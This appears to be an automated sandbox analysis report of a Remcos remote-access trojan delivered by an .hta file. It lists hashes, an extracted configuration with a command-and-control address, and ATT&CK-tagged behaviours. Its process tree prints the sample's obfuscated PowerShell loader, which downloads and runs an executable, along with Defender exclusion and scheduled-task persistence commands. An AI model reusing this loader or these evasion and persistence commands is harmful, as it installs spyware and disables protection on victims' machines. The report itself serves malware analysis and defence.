remcos | 4ab073f5eb82cd26d4c4ecb978119ca00eb1d4627f88e894563b1ed9ae0ed5d8

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02/11/2024, 04:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4ab073f5eb82cd26d4c4ecb978119ca00eb1d4627f88e894563b1ed9ae0ed5d8.hta
Size

17KB
MD5

5a08f69d84eb7894cb78e92e64554b10
SHA1

c111805da53355f3e9c73cc62a16b9ccf4c537e3
SHA256

4ab073f5eb82cd26d4c4ecb978119ca00eb1d4627f88e894563b1ed9ae0ed5d8
SHA512

72bafdc8493faad4f2370ce08097d09072bd022b818bed85035f1fa9df0196f1e8d4b8ff442453683f893527755d13e38a933945d3d449f962fd5c52f8bc836e
SSDEEP

384:ersOobc2zpo+h3L9J6GCBJmJzhgMTyWH2bFDWbFdEc49P919+FnPHWokvEiyq2MW:erdolpF7eLwq2MiP

Score

10^/10

remcos remotehost discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

66.63.162.79:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
true
hide_keylog_file
false
install_flag
true
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-1CY96M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	2144	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2144	powershell.exe
2464	powershell.exe
5008	powershell.exe
112	powershell.exe
2320	powershell.exe
2144	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	5wrhYo8GRfUzSQH.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	5wrhYo8GRfUzSQH.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	remcos.exe

Executes dropped EXE 4 IoCs

pid	Process
2288	5wrhYo8GRfUzSQH.exe
2276	5wrhYo8GRfUzSQH.exe
4032	remcos.exe
4976	remcos.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-1CY96M = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	5wrhYo8GRfUzSQH.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-1CY96M = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-1CY96M = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-1CY96M = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	5wrhYo8GRfUzSQH.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 2288 set thread context of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 4032 set thread context of 4976	4032	remcos.exe	121
PID 4976 set thread context of 3356	4976	remcos.exe	122
PID 4976 set thread context of 1684	4976	remcos.exe	148
PID 4976 set thread context of 3180	4976	remcos.exe	157
PID 4976 set thread context of 2368	4976	remcos.exe	172
PID 4976 set thread context of 5416	4976	remcos.exe	181
PID 4976 set thread context of 5560	4976	remcos.exe	193

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5wrhYo8GRfUzSQH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5wrhYo8GRfUzSQH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	5wrhYo8GRfUzSQH.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4984	schtasks.exe
3480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
2144	powershell.exe
2144	powershell.exe
2288	5wrhYo8GRfUzSQH.exe
2288	5wrhYo8GRfUzSQH.exe
2288	5wrhYo8GRfUzSQH.exe
2288	5wrhYo8GRfUzSQH.exe
2288	5wrhYo8GRfUzSQH.exe
2288	5wrhYo8GRfUzSQH.exe
2288	5wrhYo8GRfUzSQH.exe
2288	5wrhYo8GRfUzSQH.exe
5008	powershell.exe
2464	powershell.exe
2464	powershell.exe
5008	powershell.exe
2464	powershell.exe
2288	5wrhYo8GRfUzSQH.exe
2288	5wrhYo8GRfUzSQH.exe
5008	powershell.exe
4032	remcos.exe
4032	remcos.exe
4032	remcos.exe
4032	remcos.exe
4032	remcos.exe
4032	remcos.exe
4032	remcos.exe
4032	remcos.exe
112	powershell.exe
2320	powershell.exe
4032	remcos.exe
2320	powershell.exe
112	powershell.exe
2344	msedge.exe
2344	msedge.exe
3628	msedge.exe
3628	msedge.exe
2320	identity_helper.exe
2320	identity_helper.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
4976	remcos.exe
4976	remcos.exe
4976	remcos.exe
4976	remcos.exe
4976	remcos.exe
4976	remcos.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 25 IoCs

pid	Process
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeDebugPrivilege	2288	5wrhYo8GRfUzSQH.exe
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	4032	remcos.exe
Token: SeDebugPrivilege	112	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe
3628	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3352 wrote to memory of 2144	3352	mshta.exe	84
PID 3352 wrote to memory of 2144	3352	mshta.exe	84
PID 3352 wrote to memory of 2144	3352	mshta.exe	84
PID 2144 wrote to memory of 2288	2144	powershell.exe	89
PID 2144 wrote to memory of 2288	2144	powershell.exe	89
PID 2144 wrote to memory of 2288	2144	powershell.exe	89
PID 2288 wrote to memory of 2464	2288	5wrhYo8GRfUzSQH.exe	105
PID 2288 wrote to memory of 2464	2288	5wrhYo8GRfUzSQH.exe	105
PID 2288 wrote to memory of 2464	2288	5wrhYo8GRfUzSQH.exe	105
PID 2288 wrote to memory of 5008	2288	5wrhYo8GRfUzSQH.exe	107
PID 2288 wrote to memory of 5008	2288	5wrhYo8GRfUzSQH.exe	107
PID 2288 wrote to memory of 5008	2288	5wrhYo8GRfUzSQH.exe	107
PID 2288 wrote to memory of 4984	2288	5wrhYo8GRfUzSQH.exe	109
PID 2288 wrote to memory of 4984	2288	5wrhYo8GRfUzSQH.exe	109
PID 2288 wrote to memory of 4984	2288	5wrhYo8GRfUzSQH.exe	109
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2288 wrote to memory of 2276	2288	5wrhYo8GRfUzSQH.exe	111
PID 2276 wrote to memory of 4032	2276	5wrhYo8GRfUzSQH.exe	112
PID 2276 wrote to memory of 4032	2276	5wrhYo8GRfUzSQH.exe	112
PID 2276 wrote to memory of 4032	2276	5wrhYo8GRfUzSQH.exe	112
PID 4032 wrote to memory of 112	4032	remcos.exe	115
PID 4032 wrote to memory of 112	4032	remcos.exe	115
PID 4032 wrote to memory of 112	4032	remcos.exe	115
PID 4032 wrote to memory of 2320	4032	remcos.exe	117
PID 4032 wrote to memory of 2320	4032	remcos.exe	117
PID 4032 wrote to memory of 2320	4032	remcos.exe	117
PID 4032 wrote to memory of 3480	4032	remcos.exe	119
PID 4032 wrote to memory of 3480	4032	remcos.exe	119
PID 4032 wrote to memory of 3480	4032	remcos.exe	119
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4032 wrote to memory of 4976	4032	remcos.exe	121
PID 4976 wrote to memory of 3356	4976	remcos.exe	122
PID 4976 wrote to memory of 3356	4976	remcos.exe	122
PID 4976 wrote to memory of 3356	4976	remcos.exe	122
PID 4976 wrote to memory of 3356	4976	remcos.exe	122
PID 3356 wrote to memory of 3628	3356	svchost.exe	123
PID 3356 wrote to memory of 3628	3356	svchost.exe	123
PID 3628 wrote to memory of 1780	3628	msedge.exe	124
PID 3628 wrote to memory of 1780	3628	msedge.exe	124
PID 3628 wrote to memory of 2464	3628	msedge.exe	125
PID 3628 wrote to memory of 2464	3628	msedge.exe	125
PID 3628 wrote to memory of 2464	3628	msedge.exe	125
PID 3628 wrote to memory of 2464	3628	msedge.exe	125
PID 3628 wrote to memory of 2464	3628	msedge.exe	125

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\4ab073f5eb82cd26d4c4ecb978119ca00eb1d4627f88e894563b1ed9ae0ed5d8.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3352
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function lavGBim($r, $MC){[IO.File]::WriteAllBytes($r, $MC)};function RNcUsQMJ($r){if($r.EndsWith((JzDrf @(22208,22262,22270,22270))) -eq $True){Start-Process (JzDrf @(22276,22279,22272,22262,22270,22270,22213,22212,22208,22263,22282,22263)) $r}else{Start-Process $r}};function MIBYwyq($b){$Td = New-Object (JzDrf @(22240,22263,22278,22208,22249,22263,22260,22229,22270,22267,22263,22272,22278));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$MC = $Td.DownloadData($b);return $MC};function JzDrf($o){$OQ=22162;$AO=$Null;foreach($wH in $o){$AO+=[char]($wH-$OQ)};return $AO};function ulxdYqSwG(){$gkGMW = $env:APPDATA + '\';$azrEPMKu = MIBYwyq (JzDrf @(22266,22278,22278,22274,22220,22209,22209,22211,22218,22215,22208,22211,22219,22216,22208,22211,22211,22208,22211,22215,22211,22209,22267,22262,22268,22259,22209,22215,22281,22276,22266,22251,22273,22218,22233,22244,22264,22247,22284,22245,22243,22234,22208,22263,22282,22263));$CrjfBcK = $gkGMW + '5wrhYo8GRfUzSQH.exe';lavGBim $CrjfBcK $azrEPMKu;RNcUsQMJ $CrjfBcK;;;;}ulxdYqSwG;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Users\Admin\AppData\Roaming\5wrhYo8GRfUzSQH.exe
    "C:\Users\Admin\AppData\Roaming\5wrhYo8GRfUzSQH.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2288
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\5wrhYo8GRfUzSQH.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2464
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bXbaAKkaFi.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5008
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bXbaAKkaFi" /XML "C:\Users\Admin\AppData\Local\Temp\tmp3B6E.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4984
  - - C:\Users\Admin\AppData\Roaming\5wrhYo8GRfUzSQH.exe
      "C:\Users\Admin\AppData\Roaming\5wrhYo8GRfUzSQH.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:2276
    - - C:\ProgramData\Remcos\remcos.exe
        
        "C:\ProgramData\Remcos\remcos.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4032
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData\Remcos\remcos.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:112
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bXbaAKkaFi.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2320
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bXbaAKkaFi" /XML "C:\Users\Admin\AppData\Local\Temp\tmpAA06.tmp"
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3480
      - C:\ProgramData\Remcos\remcos.exe
        
        "C:\ProgramData\Remcos\remcos.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4976
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3356
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:3628
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xe0,0x104,0x108,0xa4,0x10c,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:1780
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
        9⤵
        
        PID:2464
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2344
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2752 /prefetch:8
        9⤵
        
        PID:4740
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3136 /prefetch:1
        9⤵
        
        PID:1160
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3144 /prefetch:1
        9⤵
        
        PID:4508
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3816 /prefetch:1
        9⤵
        
        PID:3524
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5112 /prefetch:8
        9⤵
        
        PID:3532
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5112 /prefetch:8
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2320
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5156 /prefetch:1
        9⤵
        
        PID:1368
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5216 /prefetch:1
        9⤵
        
        PID:3760
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5412 /prefetch:1
        9⤵
        
        PID:1416
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5484 /prefetch:1
        9⤵
        
        PID:2976
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
        9⤵
        
        PID:1872
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4964 /prefetch:1
        9⤵
        
        PID:3004
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
